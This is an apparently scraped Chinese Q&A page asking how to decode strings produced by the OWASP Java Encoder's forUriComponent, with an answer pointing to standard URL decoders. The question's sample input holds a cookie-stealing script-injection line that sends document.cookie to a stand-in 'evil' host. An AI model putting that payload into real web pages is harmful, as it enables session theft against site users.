【问题标题】:Does the OWASP Java Encoder have any decoding functions?OWASP Java Encoder 有解码功能吗?
【发布时间】:2018-07-15 04:53:06
【问题描述】:

我使用 OWASP 编码器的forURIComponent 方法对下面的查询字符串进行了编码。

String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

现在我需要解码encodedQuery,解码后的字符串应该与原始查询完全相等。我该怎么做?

【问题讨论】:

    标签: javascript java url-encoding owasp


    【解决方案1】:

    我假设您说的是OWASP Java Encoder。据我所知,它不提供任何解码功能。

    但是,由于Encode.forUriComponent() 方法实现了标准URL percent encoding,您可以使用任何正确实现的URL 解码函数对其进行解码。例如在Java中,根据the answers to this question,你可以使用java.net.URLDecoder

    在 JavaScript 中,decodeURIComponent() 应该可以解决问题。但是,如果您需要解析包含(可能)多个参数的 URI,您可能会发现 URL 类(或 URLSearchParams)使用起来更方便。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-10-24
      • 1970-01-01
      • 2020-12-01
      相关资源
      最近更新 更多